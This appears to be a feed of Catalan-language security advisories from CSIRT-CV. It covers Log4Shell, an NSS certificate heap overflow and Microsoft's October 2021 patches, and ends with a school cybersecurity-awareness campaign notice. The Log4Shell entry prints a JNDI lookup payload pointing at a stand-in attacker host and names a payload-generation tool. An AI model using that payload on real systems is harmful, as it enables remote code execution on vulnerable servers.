Category: Actualitat

El dia 9 de desembre, es trobà un exploit 0-day en la llibreria de Java “log4j” que permetia l’execució de codi remot mitjançant el registre d’una cadena determinada.

ANÀLISI

CVE-2021-44228

La vulnerabilitat es dispara quan els logs d’un servidor contenen la càrrega útil (payload) $ {jndi:ldap://attacker.com/a} (on attacker.com és un servidor controlat per l’atacant). D’aquesta manera, log4j realitza una petició al servidor mitjançant Java Naming and Directory Interface (JNDI) i obté com a resposta la ruta a un arxiu de classe Java remot. Aquest payload permetrà que un atacant execute codi arbitrari [1].

Productes afectats:

2.0 <= Apache log4j <= 2.14.1

Actualment, la vulnerabilitat no té una puntuació CVSS v3 oficial. No obstant això, a causa de la seua gravetat, en moltes publicacions ha sigut considerada com a crítica [2].
En la pàgina de LunaSec [1] podem trobar un exemple d’explotació d’aquesta vulnerabilitat. A més, el projecte marshalsec ofereix una eina per a poder crear payloads, que podria ser utilitzada en aquesta vulnerabilitat.

RECOMANACIONS
Actualment no existeix una versió estable disponible. No obstant això, hi ha dos pegats candidats publicats com “log4j-2.15.0-rc1” i “log4j-2.15.0-rc2” disponibles en el GitHub d’Apache [3], que es recomana que s’instal·len. A més, per a versions superiors a la 2.10.0 s’ha afegit la propietat “formatMsgNoLookups” la configuració de la qual a “true” pot mitigar la vulnerabilitat temporalment [4].

REFERÈNCIES
(1) https://www.lunasec.io/docs/blog/log4j-zero-day/
(2) https://logging.apache.org/log4j/2.x/security.html
(3) https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
(4) https://issues.apache.org/jira/browse/LOG4J2-2109

Recentment s’ha trobat una vulnerabilitat RCE en la validació de certificats del servei NSS.

NSS és un servei que permet la resolució de noms d’usuari i claus mitjançant l’accés a diferents bases de dades [1].

ANÀLISI

NSS és vulnerable a un desbordament de pila quan es manegen signatures DSA o RSA-PSS codificades en l’extensió .DER [2]. Aquesta vulnerabilitat permet a un atacant que es fa passar per un servidor SSL / TLS executar un codi remot en un client amb NSS quan es connecte per SSL / TLS. De manera inversa, un servidor amb NSS que processa certificats pot rebre’n un de maliciós a partir d’un client. [3]

La vulnerabilitat no té una puntuació CVSS v3 oficial, però diverses fonts la puntuen al voltant del 9 [2] [3], per la qual cosa es pot considerar que està revestida d’una certa gravetat. NSS és una tecnologia bastant estesa: el problema no es limita a TLS, sinó que són vulnerables totes les aplicacions que utilitzen la verificació de certificats NSS codificats en CMS, S/ACARONE, PKCS #7 o PKCS # 12 (com Thunderbird, LibreOffice, Evolution o Evince) o servidors NSS que processen certificats. És important remarcar que aquesta vulnerabilitat no afecta Mozilla Firefox pel fet que aquest utilitza mozilla::pkix per a verificar els certificats.

RECOMANACIONS
NSS ha resolt aquesta vulnerabilitat en les actualitzacions NSS 3.68.1 i NSS 3.73 [4], per la qual cosa és recomanable actualitzar totes les aplicacions que utilitzen la tecnologia NSS a aquestes versions [2].

REFERÈNCIES
(1) http://somebooks.es/12-2-que-es-nss/
(2) https://www.mozilla.org/en-US/security/advisories/mfsa2021-51/
(3) https://access.redhat.com/security/cve/CVE-2021-43527
(4) https://pkgs.org/download/nss-shlibsign

El dia 12 d’octubre de 2021, es van publicar una sèrie de pegats per a corregir 74 vulnerabilitats de Microsoft Windows, de les quals tres són classificades com a crítiques, 70 com a importants i una com a baixa.

ANÀLISI
Entre les vulnerabilitats publicades hi ha quatre de dia zero (0-day), que són CVE-2021-40449 (CVSS score: 7.8) (1); CVE-2021-41335 (CVSS score: 7.8) (2); CVE-2021-40469 (CVSS score: 7.2) (3), i CVE-2021-41338 (CVSS score: 5.5) (4).

D’aquestes, tres vulnerabilitats són divulgades públicament, però no explotades activament: CVE-2021-40469, CVE-2021-41335 i CVE-2021-41338, i una vulnerabilitat és explotada activament: CVE-2021-40449. Aquesta última és una vulnerabilitat d’escalada de privilegis que pot ser explotada en conjunció amb errors RCE per a prendre el control de sistemes vulnerables.

Les vulnerabilitats publicades corresponen als tipus següents:

• • Denegació de servei.
  • Escalada de privilegis.
  • Divulgació d’informació.
  • Execució remota de códi (RCE).
  • Omissió de funció de seguretat.
  • Falsejament d’identitat (spoofing).

L’alerta emesa per Incibe es pot consultar en (5), per a un llistat dels serveis afectats.

RECOMANACIONS
Es recomana aplicar l’actualització de seguretat corresponent, que es pot trobar en (6). Per a les actualitzacions de les vulnerabilitats de dia zero, consulteu (7), (8), (9) i (10).

REFERÈNCIES
(1) https://nvd.nist.gov/vuln/detail/CVE-2021-40449
(2) https://nvd.nist.gov/vuln/detail/CVE-2021-41335
(3) https://nvd.nist.gov/vuln/detail/CVE-2021-40469
(4) https://nvd.nist.gov/vuln/detail/CVE-2021-41338
(5)https://www.incibe-cert.es/alerta-temprana/avisos-seguridad/actualizaciones-seguridad-microsoft-octubre-2021
(6) https://msrc.microsoft.com/update-guide/releaseNote/2021-Oct
(7) https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40449
(8) https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40469
(9) https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41335
(10) https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41338

Acaba la campanya de CSIRT-CV “Ciberseguretat, una assignatura pendent”. Durant aquestes dues setmanes hem volgut dotar els docents amb algunes eines, que estem segurs que us serviran durant el curs que acaba d’iniciar-se, per a formar als vostres alumnes en ciberseguretat i que estiguen a resguard de les ciberamenaces que constantment aguaiten en la Xarxa.

Esperem que els recursos i les iniciatives que us hem proposat en aquesta campanya us ajuden a planificar algunes de les vostres classes i a centrar-les en temes de ciberseguretat.

Si creieu que els vostres alumnes necessiten reforçar encara més els seus coneixements per a navegar assegurances per Internet, us aconsellem que sol·liciteu les nostres jornades de ciberseguretat en centres educatius disponibles en el següent enllaç:

https://concienciat.gva.es/va/jornades-de-ciberseguretat-en-centres-de-secundaria/

Estarem molt contents d’atendre-us i ajudar-vos a reforçar la cultura de ciberseguretat dels vostres alumnes.

Us esperem!

Pots trobar els consells d’aquesta campanya en les nostres xarxes socials Facebook i Twitter buscant el hashtag #EnseñaCiberseguridad i en el nostre portal concienciaT.